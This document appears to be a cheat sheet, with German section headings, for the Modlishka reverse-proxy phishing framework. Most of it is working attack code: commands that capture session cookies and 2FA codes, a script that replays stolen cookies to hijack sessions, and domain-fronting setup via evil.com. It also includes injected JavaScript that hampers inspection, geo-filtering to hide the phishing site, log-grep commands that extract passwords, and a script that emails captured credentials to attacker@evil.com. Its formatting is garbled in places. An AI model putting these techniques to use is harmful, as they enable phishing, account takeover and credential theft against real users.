2FA Bypass Techniken

Sitzung Token Capture

```bash

Modlishka automatically captures session tokens

Monitor the log file for captured sessions

| tail -f requests.log | grep -i "session\ | token\ | cookie" |

Extract session cookies

grep -o '"cookies":[.*]' requests.log|jq '.cookies' ```_

Echtzeit Session Hijacking

```python

Python script to monitor and use captured sessions

import json import requests import time

def monitor_sessions(log_file): with open(log_file, 'r') as f: f.seek(0, 2) # Go to end of file

    while True:
        line = f.readline()
        if line:
            try:
                data = json.loads(line)
                if 'cookies' in data:
                    cookies = data['cookies']
                    # Use captured cookies for session hijacking
                    hijack_session(cookies)
            except:
                pass
        time.sleep(1)

def hijack_session(cookies): session = requests.Session() for cookie in cookies: session.cookies.set(cookie['name'], cookie['value'])

# Access protected resources
response = session.get('https://example.com/dashboard')
print(f"Session hijack successful: \\\\{response.status_code\\\\}")

```_

TOTP/SMS Bypass

```bash

Modlishka captures 2FA tokens in real-time

The victim enters the 2FA code on the phishing site

Modlishka forwards it to the legitimate site

Session is established and captured

Monitor 2FA bypass attempts

| grep -i "2fa\ | totp\ | sms\ | verification" requests.log | ```_

Evasion Techniken

Domain Fronting

```bash

Use CDN for domain fronting

./Modlishka -target https://example.com -domain cdn.cloudflare.com -hostHeader evil.com

Configure DNS for domain fronting

Point evil.com to CDN IP

Configure CDN to forward to Modlishka server

```_

Verkehrsobfukation

json \\\\{ "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "customHeaders": \\\\{ "X-Forwarded-For": "192.168.1.100", "X-Real-IP": "192.168.1.100", "Accept-Language": "en-US,en;q=0.9" \\\\} \\\\}_

Anti-Detektionsmaßnahmen

```javascript // Inject anti-detection JavaScript // Disable developer tools document.addEventListener('keydown', function(e) \\{ | if (e.key === 'F12' | | (e.ctrlKey && e.shiftKey && e.key === 'I')) \\{ | e.preventDefault(); return false; \\} \\});

// Disable right-click document.addEventListener('contextmenu', function(e) \\{ e.preventDefault(); return false; \\});

// Clear console setInterval(function() \\{ console.clear(); \\}, 1000); ```_

Geolocation Filtering

```python

Python script for geolocation-based filtering

import geoip2.database from flask import Flask, request, abort

app = Flask(name) reader = geoip2.database.Reader('/path/to/GeoLite2-City.mmdb')

ALLOWED_COUNTRIES = ['US', 'CA', 'GB']

@app.before_request def check_geolocation(): client_ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)

try:
    response = reader.city(client_ip)
    country_code = response.country.iso_code

    if country_code not in ALLOWED_COUNTRIES:
        abort(404)
except:
    # If geolocation fails, allow access
    pass

```_

Credential Harvesting

Analyse der Ergebnisse

```bash

Extract credentials from logs

| grep -o '"username":"[^"]"' requests.log | cut -d'"' -f4 | sort -u | grep -o '"password":"[^"]"' requests.log|cut -d'"' -f4

Extract email addresses

grep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]\\{2,\\}' requests.log|sort -u

Extract session tokens

grep -o '"sessionToken":"[^"]*"' requests.log|cut -d'"' -f4 ```_

Echtzeitüberwachung

```python

Real-time credential monitoring

import json import time import smtplib from email.mime.text import MIMEText

def monitor_credentials(log_file): with open(log_file, 'r') as f: f.seek(0, 2)

    while True:
        line = f.readline()
        if line:
            try:
                data = json.loads(line)
                if 'username' in data and 'password' in data:
                    send_notification(data['username'], data['password'])
            except:
                pass
        time.sleep(1)

def send_notification(username, password): msg = MIMEText(f"New credentials captured:\nUsername: \\{username\\}\nPassword: \\{password\\}") msg['Subject'] = 'Modlishka - Credentials Captured' msg['From'] = 'modlishka@evil.com' msg['To'] = 'attacker@evil.com'

server = smtplib.SMTP('localhost')
server.send_message(msg)
server.quit()
